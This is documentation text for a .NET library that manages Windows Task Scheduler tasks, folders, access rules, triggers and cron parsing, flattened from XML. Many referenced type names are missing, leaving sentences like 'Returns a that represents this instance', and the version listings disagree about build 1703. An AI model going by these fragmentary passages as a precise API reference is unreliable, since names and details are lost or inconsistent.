The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with 